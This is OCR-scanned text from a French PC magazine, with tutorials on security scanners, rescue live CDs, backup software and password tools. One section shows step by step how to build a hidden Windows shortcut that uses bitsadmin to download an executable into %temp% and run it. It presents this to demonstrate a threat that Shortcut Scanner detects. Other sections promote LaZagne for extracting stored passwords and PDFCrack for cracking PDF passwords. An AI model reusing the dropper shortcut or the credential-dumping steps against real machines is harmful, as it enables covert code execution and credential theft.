internautes en se fiant a 'empreinte unique de
votre fichier (hash MD5 et SHA-).

LES MENACES AVEC WINJA

PLEASE ENTER A VALID FILE URL:

}s Jhwww.phrozen.iofupload/2017/02/winja_3_6248_52517.exelw’ ‘

@ Using this option is safe for your system.
It will download and save the file with a
L 5| harmless file extension (*.danger) which
makes it impossible to run the file. This
temporary file will be removed after being
uploaded.

DOWNLOAD AND SCAN +

0 2 ) SCANNER AVANT DE
TELECHARGER
Vous étes sur un site de téléchargement légal
et on vous propose de récupérer un fichier
EXE ? Pourquol prendre un risque ? Depuis votre
navigateur préféré, faites un clic droit dans le
bouton de téléchargement et faites Copier
l'adresse du lien (ou équivalent). Dans Winja,
allez dans Download and Scan puis copiez
ce lien pour cliquer a nouveau sur Download
and Scan. Patientez jusqu'au verdict.

(Ao

ceceeeeceaeaday;

0 UTILISER LES OUTILS
Explorez les Outils supplémentaires

(Extra Tools) pour un scan plus précis des

processus, des taches planifiées de Windows

(qui peuvent étre utilisées par des virus),

des programmes qui se lancent au démarrage

de Windows, des services de Windows ou encore

de votre réseau Internet.




b Information & Senvices ¥
om d'affichage
& Redqistre & distance

@@ Sewice de surveillance

M & Sewice de capteur

M@ ¢

M@ Expériences des utilisat..

M €9 Senices Bureau a dista...
M€ Jeu sauvegardé sur Xbo...

M € Sewnice de mise en rése.

€ Panificateur [ Registre

& Senices Microsoft

€ Senice de prise en char._

4@ Senice de rapport d'erre...

Nom Statut Descripti
DiagTrack Le semvid
RemoteRegistry Permet 3
SensrSvc Surveille
SensorService Service g
TermService Autorise
XbiGameSave Ce senil
XboxNetApiSve Ce senvi
Fournit d|
bthserv Le seniq
WerSve Autorise

Windows 10 collecte quantité de données

sur votre PC, qui sont transmises a des serveurs
de Microsoft. Les parametres de confidentialité
du systéme permettent de limiter un peu

ces fuites. Windows Privacy Tweaker va plus loin,
en désactivant des services cacheés,

ou en apportant des modifications au registre.
Lacréation d'un point de restauration vous

est proposée avant toute action, permettant

de revenir facilement enarriere.

Lien: www.phrozen.io/freeware

Shortcut Scanner > FAITES LA CHASSE AUX FAUX RACCOURCIS

@- &~

Method

v =3 U =&

Level

v [ & Dangerous Shortcuts (Possible Virus)

v M BEE (Raccourci inoffensif (si si !).Ink) - C:\i

Command Prompt
Arguments

Dangerous Keywords

Serious

Critical

v [J[@) shortcuts that require attention

Moderate

ers\benbailleul\Desktop\Raccourci inoffensif (s

>

NOTRETUTO

O (axxexe.nk) - CAUsers\benbailleul\Desktop\Jaxx-ww1.2.13_win32-x64\Jaxx.exe.Ink

Shortcut Scanner va surveiller la taille de vos raccourcis, le contenu du «chemin» utilisé

pour atteindre le fichier cible et certains mots-clés «louches». Ne nécessitant pas d'installation,
L'archive contient en fait deux versions du logiciel : une pour les 0S 32 bits et une autre

pour les B4 bits. IL n'y a pas pour l'instant de protection proactive, mais l'auteur ajoutera

cette fonctionnalité s'ily a assez de téléchargements. Siun raccourci louche est détecte,

vous pouvez le supprimer en cliquant sur la gomme. Vous pouvez aussi regarder en détail

ol pointent les raccourcis pour ne pas en supprimer un qui est Légitime.

Lien: www.phrozen.io/freeware
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. AVEC SHORTCUT SCANNER

01 ) LA PORTED'ENTREE
Cette démonstration se base sur un
programme Windows natif, appelé BITSAdmin
Tool et qui est intégré a Windows depuis Windows
XP SP2. C'est la «parte d'entrée». Cet outil de
ligne de commande a été concu pour créer des
taches de téléchargements et pour surveiller
leurs progressions. Bitsadmin.exe est bien signé
par Microsoft et approuve par d'autres logiciels
antivirus et peut étre utilisé en une seule ligne
de commande. Par exemple : bitsadmin /
transfer downloader [ priorité normale
https://phrozensoft.com/uploads/2016/09/
Winja_2 6084 65441 setup.exe% temp% \
setup.exe

TUT

» Créerun raccourci

Pour quel élément souhaitez-vous créer un raccourci ?

Cat de créer des des
‘ou adresses Internet en local ou en réseau,

 fichiers, dossiers, ordinateul

Entrez I'emplacement de I'élément :
| [emd.exe / C *% windir% \ System22 \ bitsadmin.exe / téléchargement deml Pageoui..

0 CREATION DU RACCOURCI
Cette commande va télécharger dans
le dossier temporaire de Windows un fichier
d'application situé sur les serveurs de PhrozenSoft.
Utilisons maintenant cet outil de ligne de
commande pour Uexploiter dans un nouveau
raccourci Windows. Faites un clic droit quelque
part dans votre explorateur, cliquez sur Créer
un nouveau raccourci et entrez la ligne de
commande suivante : emd.exe / C “% windir% \
System32\ bitsadmin.exe [ téléchargement
de transfert / priorité normale
https://phrozensoft.com/uploads/2016/09/
Winja_2 6084 65441 setup.exe% temp% \
setup.exe &% temp% setup.exe”

Enplocenert Sydena2

= [ 165941 setup sxa tamp . \ setup exa A7 tamp: sstp xe -

Démarrer cans CAWINDOWS \syaiom32

Touche deracoouss - [fucn

Extauier Fenére nomale ~]
Fenéire nomiale ]

Commertare |

0 JUSTE UN EXEMPLE

Une fois le raccourci créé avec succes,
nous allons modifier ses propriétés (clic droit sur
le raccourci puis sélectionnez Propriétés). Mettez
l'option Exécuter sur Réduite, cela aidera a
rendre le terminal moins visible en le réduisant
ala barre des taches en charge. Bravo, votre
premier raccourci malveillant est maintenant prét!
Attention, bitsadmin.exe est juste un exemple de
ce que vous pouvez faire en utilisant un raccourci
de Windows, vous pouvez potentiellement faire
toutes les choses malveillantes possibles que vous
pourriez faire a travers des lignes de commande.

[« 5 & oanzercus snortauts Possibie virus)
v Hm 1 ) {5151

Command Fromet Serious

Arguments Moderate

Dangerous K

b~ 08 shartcuts that
=i i Remeve Shortcut
You ate about s defnitvaly remove 1 shorcuts Ae sou sure?

0“) FAITES LA CHASSE

AUX FAUX RACCOURCIS!
Shartcut Scanner va surveiller la taille de vos
raccourcis, le contenu du «chemin» utilisé
pour atteindre le fichier cible et certains
mots-clés «louches». Ne nécessitant pas
d'installation, l'archive contient en fait deux
versions du logiciel : une pour les 0S 32 bits et
une autre pour les 64 bits. Siun raccourci louche
est détecté, vous pouvez le supprimer en cliguant
sur la gomme. Vous pouvez aussi regarder
en détail ol pointent les raccourcis pour ne pas

en supprimer un qui est légitime.
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AVIRA PASSWORD
MANAGER

Plus connue pour son
antivirus, la société de
sécurité numérique
Avira propose aussi

un gestionnaire de
mots de passe. Facile
d'acceés et disponible
sur toutes les plates-
formes principales
(navigateurs, ordinateurs
et smartphones), le
vrai plus d’Avira réside
néanmoins dans sa
version pro, qui donne
acces a une véritable
vigie sur vos mots

de passe.

des vols de données sont
o causés par des mots de

‘ < o passe faibles ou dérobés. »

S'appuyant sur une étude du
site web allemand Security Insider, Avira affiche ce constat
alarmant en page d'accueil de son service de gestionnaire de
mots de passe. Avec son extension pour navigateurs, Avira
Password Manager est assez complet, méme en version
gratuite : il permet d'importer ses mots de passe, les stocker
et d'en générer de nouveaux pour les modifier. Avec une
mention particuliére a la fonction remplissage des champs
de connexion (identifiant et mot de passe), qui reconnait le
compte automatiquement, 1a ol d’autres services nécessitent
un ou deux clics en plus.

DES ALERTES SECURITES BIEN PRATIQUES,

MAIS PAYANTES

Disponible sur Chrome, Firefox, Windows, Mac, Android et
i0S, Avira Password Manager est tout terrain, bien qu'un peu
envahissant car souvent installé avec d'autres produits Avira.
En plus des mots de passe, Avira Password Manager propose
de conserver des notes sécurisées, un service devenu assez
commun pour les gestionnaires de mots de passe dans le
cloud*. Mais son véritable atout est sa version Pro, qui permet
de surveiller ses mots de passe, détecter de potentielles failles
de sécurité de ses services et aide a les résoudre.

Lien : https://www.avira.com/fr/avira-password-manager

OHRBE 101011110101010110101010101010100
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7\ GERER SES MOTS DE PASSE AVEC

AVIRA PASSWORD MANAGER

01) INSTALLER L'APPLICATION
ETL'EXTENSION

Aprés vous étre inscrit avec un mot de passe maitre,
cliquez sur Verify account dans ['e-mail qui vous a

éteé envoyé. Cliquez ensuite sur Download now, puis
installez l'application et activez 'extension Avira
Password Manager (et Protection Web Avira sivous
le souhaitez).

Welcome to Avira

02 ) IMPORTER LES MOTS DE
PASSE DE VOTRE
NAVIGATEUR
Sivous avez enregistré vos mots de passe dans votre
navigateur, cliquez sur Importer maintenant dans le
troisieme champ d'astuces au centre de l'écran. Cliquez
ensuite sur Import depuis navigateur > Autoriser >
Importer > Terminé.

" \{ I’ . O
=
03 ) AJOUTER UN MOT DE PASSE
MANUELLEMENT
Connectez-vous au service I

devotre choix (Gmail, par | ...
exemple). Une fenétre
apparait et vous propose n
denregistrer vos identifiant Q
et mot de passe dans

Avira Password Manager.
Cliquez sur Enregistrer.

Enregistrer votre premier mot d passe.
dans Avira Password Manager ?

Pas maintenant m“

ILest aussi possible d'ajouter ses identifiants et mots de
passe en cliquant sur le bouton + dans l'interface d'Avira
Passward Manager.

0“) SE RECONNECTER

< AUTOMATIQUEMENT
A UN SERVICE
Vous souhaitez vous
reconnecter a un service
sans avoir a taper vos

Gaogle

) E—

identifiant et mot de
passe 7 Avira Password i,
Manager les remplit - . ==

pour vous. Sur Gmail, par
exemnple, vous n'avez qu'a
cliquer 2 fois sur Suivant.

0 MODIFIER UN MOT DE PASSE
Connectez-vous au
service de votre choix (continuons
sur Gmail) et rendez-vous surla
page de modification de votre
mot de passe. Dans le champ du
nouveau mot de passe, cliquez sur
licone du Générateur de mot
de passe Avira. Cliquez ensuite sur e &
Utiliser mot de passe. Validez la
modification (en cliguant sur Modifier le mot de passe
dans le cas de Gmail). Une fenétre s'affiche en haut a
droite de l'écran. Cliquez sur Mettre a jour.

06 ) LES AUTRES SERVICES
AVIRA

Cliquez sur l'icane

Aviradans la barre

¢ Mot de passe

des taches en bas

de votre écran. Avira o An
VOUS propose une - =
dizaine d'autres i
services, comme un § o
antivirus, un VPN ou @ S

encore un gestion-
naire de mises-a-jour.
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AU SECOURS
pE VOTRE PC...

Ily ades signes qui

ne trompent pas:
ralentissements, publicités
non sollicitées, faux messages
d'alerte, crash a répétition ou
tout ca ala fois ? Qu'il s"agisse
d'une infection, d'un probléme
de registre ou d'un bug du
systéme, votre valeureux PC a
besoin d'étre réparé. Que vous
ayez la main sur Windows ou
non, voici nos solutions «Live
CD»... Ha oui la plupart sont
compatibles avec Linux.

I1SO puis la graver sur un CD ou un DVD en

fonction de leur taille. Pour certains d'entre euy, il
est méme possible de les placer sur une clé USB (pratique
si votre lecteur est absent ou cassé). Avec le logiciel
Xboot, vous pouvez méme vous faire une compilation de

es Live CD fonctionnent tous de la méme maniére.
Il faut télécharger une image de disque au format
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différents Live CD sur une seule et de licence Windows (un autocollant
méme clé USB. Veillez juste a ce que avec une suite de caractéres sur
votre BIOS accepte le boot depuis un votre unité centrale), mais pas le
port USB. DVD d'installation (versions dites

2 «OEMM®), rien ne vous empéche de
DES DVD BOURRES DE télécharger un Windows sur Internet.
SOLUTIONS Le téléchargement est légal si vous
En fonction du Live CD que vous ne changez pas de PC : profitez-en !

aurez choisi, les outils a l'intérieur
permettront une désinfection, des
diagnostics (RAM, disque dur),

une réparation (registre, secteur EN CAS DE
Lovsque vous suros termime, 1 FANIIE. LEFLUS
faudra relancer Windows en' EFFICACE EST
croisant les doigts pour qu'il veuille SOUVENT DE
bien se lancer. Si ce n'est pas le z

cas, les dégéats seront moindres si REPARER SANS
vous devez formater et réinstaller CHARGER

un systéme puisque vous aurez

sauvegardé vos mots de passe et WINDOWS...

vos fichiers... Si vous avez un numéro

CHANGEZ LE BOOT

De base, votre PC va «booter» sur le
disque dur pour charger Windows.
Pour afficher les menus de votre
Live CD, il faudra changer ce
réglage dans le BIOS. IL faudra faire

Suppr, F1, F2 ou F8 (en fonction de image syster -

votre modéle de carte mere) juste . B e
apres avoir allumé le PC et entrer Outil de redémarrage g Parametres
dans le BIOS (Setup). Trouvez . Wi

l'option Boot Sequence (qui peut
aussi étre sélectionnable avant
méme l'entrée dans les menus)

et modifiez l'ordre en mettant en
premier votre lecteur de CD/DVD ou votre port USB si c'est cette solution que vous avez
choisie. Attention, certains fabricants de cartes meres intégrent depuis guelques années
un BIOS sécurisé et un peu pénible appelé UEFI. Voici un article trés intéressant si vous
avez ce type de BIOS : http://goo.gl/KSDTS5

Voir plus doptions de récupération

L




*> 7 LIVE CD INDISPENSABLES
POUR VOTRE PC

Hiren’s Boot CD

Hiren's Boot CD fait office de couteau suisse. S| TTRIGR [P

IL contient énormément de programmes = —
permettant de restaurer un systéme

ou de faire des tests : RAM, processeur,
gestionnaire de fichiers, programme DOS,
récupération de vos mots de passe, etc.
Mais la partie la plus sympa reste son mode
MiniXP gui va imiter le fonctionnement d'un
systeme Windows a minima. Vous aurez
donc une interface graphique pour lancer
tous les programmes contenus dans le

CD. Ce mode est aussi idéal pour faire vos
sauvegardes de fichiers. Branchez une clé
USB ou un disque dur et transférez vos documents ! Attention, il n'est plus mis ajour...

Lien: www.hirenshootcd.org

F-Secure Rescue Disk

F-Secure Rescue Disk est un
autre Live CD qui propose un
antivirus tres pratigue. Pour
mettre a jour la base de données
virale, nous vous conseillons de
brancher le PC en Ethernet a
votre box, car le WiFi fonctionne
rarement. Lancez ensuite
l'analyse. Lorsque les virus
seront découverts, n'oubliez pas
de choisir systématiguement
['option la moins radicale : il vaut
mieux tenter de guérir un fichier
contaminé ou de le mettre en
quarantaine que de ['effacer...

Lien : https://goo.gl/6D360l
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MediCat

Cette compilation permet de MediCat DVD
faire la chasse aux virus, de RECHARGED!
restaurer un Windows bancal,
de sauvegarder des données en
cas de probléme physique ou de
mettre un peu d'ordre dans vos
partitions. MediCat comprend
aussides outils de diagnostic en
tout genre, plusieurs logiciels
pour récupérer vos mots de
passe. Idéal pour les altruistes
qui n'hésitent pas a se déplacer
pour réparer l'ordi d'un ami,
MediCat est indispensable. La
version la plus «lourde» peut
aisément prendre place sur une
vieille clé USB de 8 Go, raison de plus pour la garder tout le temps avec soi. La ou Hiren's Boot CD donnait
l'acces a un Windows XP «light», MediCat propose un Mini Windows 10 et Lubuntu.

Lien: https://goo.gl/3imeh8

Boot the First barddizk in the PC,

AVG Rescue CD

e i ) Hain Henu
Et voici l'ultime antivirus ! Au
lancement du DVD, choisissez
Scan Result View and process last scan result.
AVG Rescue CD et attendez Update Conf igure and Tun updats.
que le contenu se charge Vault Inspect Windows virus vault.
: Mount Re-mount Windows volumes.
dan.s la RAM. VCII.JS (.ievriez it 5 .
avoir le menu principal avec UsB Create bootable USB Flash Drive.
['acces a la mise a jour de Utilities Hiscellaneous utilities.
P Eject Eject rescue cd.
la base de donnees‘\.'l.r?le Bl Rebaot systew.
(Update) et aux Utilities Shutdown Shutdoun system.
(gestionnaire de fichiers About Rescue CD and AVG version info.
pour sauver vos données,
éditeur de registre, test du < Exit >

disque dur, etc.). Débutez par
une mise a jour et pour commencer votre scan, montez les partitions Windows (Mount). Choisissez
ensuite Scan. Il faudra alors sélectionner les élements a scanner. Sivous ne connaissez pas L'origine
du probleme, optez pour une recherche en profondeur en sélectionnant toutes les options possibles
dans Scan Options.

Lien : http://beta.falconfour.com/category/bootcd
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Ultimate Boot CD

Ultimate Boot CD est une autre compilation d'outils de dépannage
informatigue pour Linux ou Windows. Il contient des outils pour

le diagnostic, le clonage ainsi que le nettoyage du disque dur.
|'utilisateur aura entre autres a sadisposition ViVARD, permettant
d'effectuer des taches de maintenance sur le périphérique de
stockage en vue d'optimiser ses performances. On compte aussi des utilitaires de modification mot de
passe comme Offline NT Password & Registry Editor qui permet de supprimer le mot de passe d'une
session Windows. Enfin, le CD comprend des outils de désinfection : Avast, AVG, ou encore McAfee.

Lien: www.ultimatebootcd.com

Win PE 10-8 Serguei Strelec

Et voici le meilleur pour la fin ! Régulierement mis a jour et extrémement complet (3,91 Go), ce Live
DVD compilé par un informaticien russe est sans doute ce qui se fait de mieux. Ne vous fiez pas a

la page avec les menus en cyrilligue, tout est hien en anglais. Cliquez sur le bouton vert et sur la

page suivante, allez en bas pour accéder au lien de téléchargement. Vous y trouverez des logiciels

de sauvegarde, d'entretien de l'ordinateur, des disques durs et des partitions, des diagnostics, des
logiciels de récupération de donngées, des outils de réparation de Windows, audit réseau, récupération
de fichiers endommagés, antivirus, drivers, etc.

Lien: http://sergeistrelec.ru
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FalconFour’s R =n.
Ultimate Boot CD

Le Live CD de FalconFour's est une
amélioration de Hiren Boot avec

des options de boot plus complétes,
mais toujours avec son mode
MiniXP. On y trouve des outils pour
réparer des partitions, récupérer des
données perdues ou des mots de
passe, des logiciels d'audit réseau ;
et quelques antivirus. C‘omm.e Ses 3 /-‘\V = l' /3
camarades, FalconFour's Ultimate ‘ r4UBCD
Boot CD est disponible en version : ; Tt et aa e
DVD ou en forme d'ISO a placer sur BT B e e e
une clé USB.

Lien : http://beta.falconfour.com/category/bootcd

BOOTER SON PC GRACE A UN MOBILE AVEC DRIVEDROID

Sivous avez l'utilite de démarrer votre PC ou celui

des autres depuis un LiveCD pour réparer, hacker Download image
ou changer d'0S, vous allez aimer DriveDroid. Cette
appli permet de booter votre PC a partir d'une image © pebian
(Windows, Linux, etc.) stockée sur votre mobile. Cela
peut se révéler €) recon
WELRE  pratique dans @ reesn
DriveDroid 0.10.36 (-8 e cas ol vous
& iors o wedotmg > | e 0iSposez @\ Freenos
pas declé

A Arch Linux 2017.02.01
archlinux-2017.02.01-dual.iso 870 MB

USB ou sivous 9 Fudunw

@ Debian 8.7.1 (amdéd) voulez avoir

debian-6.7.1-amd64-netinst iso =ewe  un Kali, un Ubuntu ou un MediCat sous la main, quelle
g DrveDroid Boot Testr » quesoit lacirconstance. Sélectionnez '1SO a manter,

Sy v=  branchez le cable USB entre votre smartphone et votre
s‘ FreeBSD 11.0 (mini) PCetclest parﬁ |

FreeBSD-11.0-RELEA_-mini-memstick.img 299.3 MB

FreeDOS 1.0 Lien: https://goo.gl/7TFUYIU

r—
D




SAUVEGARDE

Méme si le module de sauvegarde de Windows a fait

des progres, voici une belle sélection de programmes
qui proposent des fonctionnalités intéressantes...

Comodo BackUp

LA SOLUTION SIMPLE ET EFFICACE

Rien de plus rageant et désespérant que de
perdre ses données pendant une réinstallation
systeme. Comodo BackUp est la pour vous
éviter cette peine insupportable. Ce logiciel
permet de faire des sauvegardes automatiques
ou ponctuelles de vos fichiers sur différents
supports : clé USB, disgue dur externe, cloud,
serveur privé, compte-email. Bref, vous avez
'embarras du choix. Les processus sont
simples a appréhender, et qui plus est, Comodo
BackUp est gratuit et offre 5Go de stockage en
ligne. De quoi commencer a mettre au chaud

quelques films ou photos compromettantes.
Lien: www.comodo.com

FullSync — La sauvecaroe

CONTROLABLE A DISTANCE

L'un des principaux points fort de FullSync
est de pouvoir gérer ses différents backups a
distance, depuis un autre ordinateur que e votre.

m{FY Frofée Updaze Homepage P

Profile Details

General | Source | Destination | Fiters | Subdirectories |

Frotocok [fip

Host: [ www.mydomain. com

Username: |use

Path: r e

OIR .
NOTRETUT

DANSLES PAGES

SUIVANTES

| buffered

3 | Cancel |

Pratique pour accéder a des fichiers nimporte
ou par exemple. Ici également, la sauvegarde
planifiée est de la partie, afin de préserver
régulierement ses données. On retrouve ensuite
d'autres fonctionnalités plus classiques, comme
l'exclusion de dossiers, ou la protection via mot
de passe.

Lien: https://fullsync.sourceforge.io



UN EXEMPLE CONCRET

AVEC FULLSYNC

101000101110100110101101000010110101010100110101010110 WINDOWS 0101

01 ) LE «PROFIL»

Avant de commencer, sachez que FullSync
est aussi disponible dans une version ne nécessitant
pas d'installation. Dés
l'ouverture, il faudra
vous créer un «profil»
(New Profile). Il
s'agit en fait d'éditer
votre sauvegarde.
Dans notre exemple,
nous allons faire une
sauvegarde de nos
photos sur un disque
dur externe toutes les 24 heures. Aprés avoir entré
un nom et une description, il faudra choisir le Type.

02 ) 4 CHOIX DE SAUVEGARDE/
SYNCHRONISATION

Vous aurez 4 choix. Publish/Update est utilisé
pour mettre a jour un site Web a partir d'une copie
locale d'un serveur distant tandis que Backup
Copy va tout sauvegarder sans effacer quoi que ce
soit dans le dossier de destination. Exact Copy est
la solution idéale pour nos photos puisque tous les
changements seront pris en compte, y compris les
suppressions (vous n'aurez pas a vous encombrer
des versions anterieures de photos). Enfin, Two
Way Sync va comparer la source et la destination
puis ira capier les fichiers plus récents d'un coté
comme de ['autre (attention, car les versions anté-
rieures seront écrasées !).
i: Remote Connection  Help

EPXPr#» Obn

1 Savegarde photos  (Sauvegarde des photes de D4\ tranche de 24h)
Source  DA\Photos\2014\Septembre-Octobre 2014
Destination: Fi\

Last Update: November 25, 2014 100:51 PM CET
Mext Update: not scheduled

S

Framo dess p—

o[ ome

L A

0 AUTOMATISATION

Plus bas, vous pourrez aussi paramétrer
une exécution automatigue. Cochez Enabled et
faites Edit Scheduling. Ici, vous pourrez régler un

intervalle ou et une date précise (Crontah). Validez
et dirigez-vous ensuite vers les onglets Source et
Destination. Dans notre cas, nous mettrons file
dans protacole puisqu'il
sagitd'unesauvegarde |[coeieies |
locale, mais vous pouvez || =
aussi sauvegarder vers

et depuis un serveur
FTP,SFTP et SMB. Dans
Path, il faudra mettre
unchemin (a la fois
dans Source et Destination). Notez que FullSync
permet de sauvegarder ou synchroniser des dossiers
méme sila source et la destination sont toutes deux
distantes (de serveur a serveur). Les autres onglets
servent a filtrer des dossiers ou fichiers que vous ne
voulez pas sauvegarder (filtres par nom, taille, date
de modification, etc.).

0 C'ESTTOUT!

Apreés avoir validé, vous pourrez soit
commencer votre premiére sauvegarde (méme si
ce n'est pas le moment prévu par vos planifications)
en cliquant sur le triangle vert. Vous pouvez aussi
vous contenter de suivre votre planification en
faisant Start Scheduler. Notez que lorsque vous
réaliserez votre sauvegarde dans certains modes
pour la seconde fais, le logiciel vous demandera
sivous voulez tout re-sauvegarder ou sivous
ne désirez sauvegarder que les changements
(sauvegarde incrémentielle).

) et senesiing

2 [beurs >

 — Cancel

Lk ey ———— |
Choose the actions that should be performed. -
Scurce: DA\Photes: M4\ Septembre-Octe bre 2014 U
Destination: F2\
Totah: 04a3ks,0 8
Everything
Changes only | Sze Action Explanation
DG SEEEPG AME [ [ s ?|
MG_3950.PG Mg O O msyme
G STORUPG AMB [0 [ Isyme
MG 005G aMB [0 L nsyne
G 568296 6MB [0 [0 Iasyme
MG STITIPG M8 [0 L nsyme
G 326506 aMB [ O nsyne |
G 1997176 aMB [0 L e
AING_5670.1PG. aMB 0 O InSme I
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pCloud —> STOCKER TRANQUILLEMENT, COMME SUR UN NUAGE

L'autre option quand il s'agit de sauvegarder a tout va sans multiplier le nombre de
disques durs externes par 10, c'est le cloud bien entendu ! A ce jeu-la, pCloud reste un
challenger de poids. Tout comme Google Drive ou Drophox, ce service vous permet de

VOIR N
| NOTRETU
DANS LES PAGES
JUNA'NT ES

stocker l'intégralité de vos fichiers, videos, photos de vacances au Cap d'Agde directement sur les
serveurs de l'entreprise. Sans abonnement, vous pourrez disposer d'un espace de stockage de 10 Go.
Inquiet pour la sécurité de vos données ? Optez pour l'option pCloud Crypto, qui protége vos fichiers avec

un puissant systeme de chiffrement.
Lien: www.pcloud.com

EaseUS Todo Backup

LA REFERENCE

Méme dans sa version Free, EaseUS Todo Backup est
complet : sauvegarde d'un disque ou d'une partition,
d'un groupe de dossiers, du systeme, planification,
sauvegarde sur le réseau, sur un NAS ou un cloud
(Google Drive, OneDrive ou Dropbox) et clonage
complet de vos disques. Le logiciel permet aussi de
créer un disque bootable pour restaurer les données
préalablement sauvegardees. Si vous désirez stocker
sur des CD ou des DVD, Todo Backup va fractionner
votre sauvegarde en paguets de 650 Mo, 700 Mo ou
4,7 Go. Mais ce n'est pas tout. Todo Backup peut aussi
effacer de maniére sécurisée une partition, créer un
disque d'urgence en cas de crash (Linux ou WinPE) et

vérifier l'intégrité des différentes images de disque
UE VOUS aurez créées.

Lien: goo.gl/TVVNFt

o

SyncThing

—> LE PARTAGE EN TOUTE
SECURITE

SyncThing est un outil open source qui
vous permet de partager, reproduire et
stocker vos fichiers sur l'ensemble de
vos appareils a distance. Une sorte de
Google Drive local sans le coté invasif

(5 Modifier la planification

Type deplaniicaion (obionn Chmanioniiient)
. Aucun
Options Intervalle
PSSP 2T 1.2 Chronologique |
hours @tout [+ —— |

daysOfMonth [@tout | * |

menths [¥Itout | *

[ o J[  Acnue |

de la firme de Moutain View en somme.
Les données sont sécurisées grace a un
chiffrement de bout en bout (AES + TLS),
histoire de sauvegarder vos données en
toute guiétude.

Lien : https://syncthing.net
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SAUVEGARDER SES DONNEES

" SURLECLOUD AVEC PCLOUD

pCloud est un service en ligne gratuit qui vous permet, a l'instar de Google Drive ou Drophox, de stocker
vos fichiers, vidéos et photos sur le cloud, le “nuage” en bon francais. Une fois vos données sur les
serveurs de l'entreprise, vous pouvez y accéder ol et quand bon vous semble. PCloud a la bonne idée
d'étre multiplateforme et fonctionne sur PC, Mac, Linux, Android, i0S, Windows Phone, et comme
extension sur certains navigateurs internet comme Google Chrome, Mozilla Firefox ou Opera. Voyons
ensemble comment sauvegarder votre premier fichier sur pCloud.

Trouvez plus sur pCloud! Terminez ces étapes et libérez plus despace. o O O @ O O
- Vérifiez votre e-mail (Déveroudier 1 Go)
- Veérifiez volre compte pour déverrouiller le partage de fichiers et profitez de tous les
| § ﬂ avantages de pCloud
m L'étape suivante »
pCloud crgement e 8 (@~
Fichiers
@ m =
Autez 2 To o8
stockage aves 65%

0 ACCEDER A PCLOUD

Une fois votre compte créé, pCloud vous invite a télécharger pCloud Drive. Acceptez ! ce logiciel
vous permettra de profiter pleinement de 'expérience pCloud. Laissez l'installation se poursuivre et
retournez sur le site. Pour débloquer l'intégralité de votre capacité de stockage (10 Go), les développeurs
de pCloud vous demande de suivre guelgues étapes. C'est en réalité un tutoriel déguisé, pour vous
familiariser avec les diverses fonctionnalités de pCloud. Suivez scrupuleusement les instructions.

1 02> TELEVERSER UN FICHIER
Une fois sur la page d'accueil, cliquez
sur longlet Téléversement, en has a droite de
votre écran. Puis une fois dans le gestionnaire,
allez sur Téléversement de fichier, ou
Téléversement de dossier, selon ce que
vous voulez transférer. Il ne vous reste gu'a
laisser le site travailler, et bingo, votre fichier
mewmes i | €SEAisponible dans votre espace de stockage

personnel sur pCloud.

Téliversement de fichisr

Tatiowsarsors: [/
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AOMEI Backupper

LE ROI DE LA SAUVEGARDE

AOMEI Backupper est un logiciel gratuit
grace a qui vous pourrez sauvegarder,
cloner ou restaurer des disques durs et
des partitions, tout comme lintégralité
de votre systéme. Un outil pratique
notamment lorsque vous changez de

File Bacup

Partition Backup

.

systeme d'exploitation ou quand
vous voulez importer des disques
durs entiers sur une nouvelle
machine. D'autres outils utiles
viennent se greffer a ses fonctions
premiéeres, comme un module de
cryptage et de compression, ou
Db Partition Bockup encore un explorateur de fichiers.
Attention, le tout en anglais.

Lien : www.backup-utility.com

Cobian Backup est un autre poids lourd de la
sauvegarde. Gratuit et régulierement mis a jour,

il permet presque autant de choses que Todo:
sauvegarde standard ou incrémentielle, compression,
planification, transfert vers FTP ou un volume
disponible sur votre réseau local. Il Lui mangque
cependant le clonage de disque et toutes les petites
choses qui font de Todo un cador (disque d'urgence,
fractionnement, effacement et sauvegarde du
systeme). Du coté des points forts, on compte un T | —
chiffrement AES « complet » et une compatibilité avec === :

la technologie Shadow Copy de Microsoft (création de

sauvegarde méme si le volume est en activité).

Lien: cobiansoft.com
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Récupérez tous vos SESAMES Tout sur les « HASH »
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Sécurisez votre WIFI BIDOUILLEZ

votre Windows
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Prenez le CONTROLE !
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Tous vos SESAMES !

LaZagne
IL RECUPERE TOUT CE QUI PASSE

Dans le méme genre que RecALL (voir

cette sélection), ce programme en ligne de
commande va pomper les sésames contenus
dans vos navigateurs et plusieurs autres
logiciels. IL est légerement moins complet

que RecALL et un peu plus apre au niveau de
san interface, mais est beaucoup plus discret
et rapide. Pour accélérer la manceuvre, il est
possible de cibler ce que vous voulez récupérer.
A essayer d'urgence!

Lien: https://github.com/AlessandroZ/
LaZagne

\mmm

NOTRET

DANS LESPAGES
SUNANTES

culfgrail.com

1376

http:/sbenbailleul.ddns .net
benbailleul

: https witte:
me: benbailleul@id;
kor

Found ¥11

ht: 72w . winamax. fr

be illeulBgmail.com
1376

PDFCrack — Ercrack, L PDF!

PDFCrack est un logiciel destiné & fanctionner
sur systéme Linux, mais il existe une version
pour Windows. Il permet de tirer profit des
processeurs multicceurs et de la puissance de
plusieurs ordinateurs (cluster) pour attaguer les
mots de passe d'ouverture et d'autorisation. La
progression est automatiquement sauvegardee
pour reprendre un projet en cours. Sur notre PC
de test, PDFCrack a été capable de passer

en revue 37 500 mots de passe a la seconde.

Lien: http://andi.flowrider.ch/research/
pdfcrack.html

fAverage Speeds: : Current Wi
fAverage Spee Current
Sus full

128
ed Hetadata: True
1 beBS:;‘




MOTS DE PASSE

RECUPERATION DE MOTS

DE PASSE AVEC LAZAGNE

Sivous avez physiquement accés a un ordinateur, LaZagne va analyser
le contenu de la base de registre et des dossiers pour afficher tous les mots
de passe qui traine en clair: navigateurs, logiciels, bases de données,

réseaux WiFi, etc.

Ouvrir
Ouvrir dans un nouveau processus
Ajouter 3 la liste de lecture de VLC

‘ Quvrir une fenétre de commandes

% Add to MPC-HC Playlist
) Play with MPC-HC

Lire avec VLC

7-Zip

&% Rechercher les fichiers supprimés

Partager avec

Restaurer les versions précédentes
&) Analyser LaZagne-master

Inclure dans la bibliothéque

Copier en tant que chemin d'accés

ENLIGNE DE COMMANDE
Décompactez le fichier ZIP et placez
le contenu ol vous le souhaitez. Rendez-vous
dans le dossier LaZagne-master\Windows.
Maintenez la touche Maj du clavier, faites un clic
droit dans Standalone puis cliguez sur Ouvrir une
fenétre de commande ici. Pour connaitre la liste
des commandes, faites lazagne.exe puis tapez
sur Entrée.

ZN C:\Windows\system32\cmd.exe = -

error: too few arguments

laZagne.exe [—h]l [——versiol
{chats,svn.,all

usage :

positional arguments:
{chats,.svn.,all,wifi,.mails,.windo
Choose a |
chats Run
sun Run
all Run
wifi Run
mails Run
windows Run
database Run
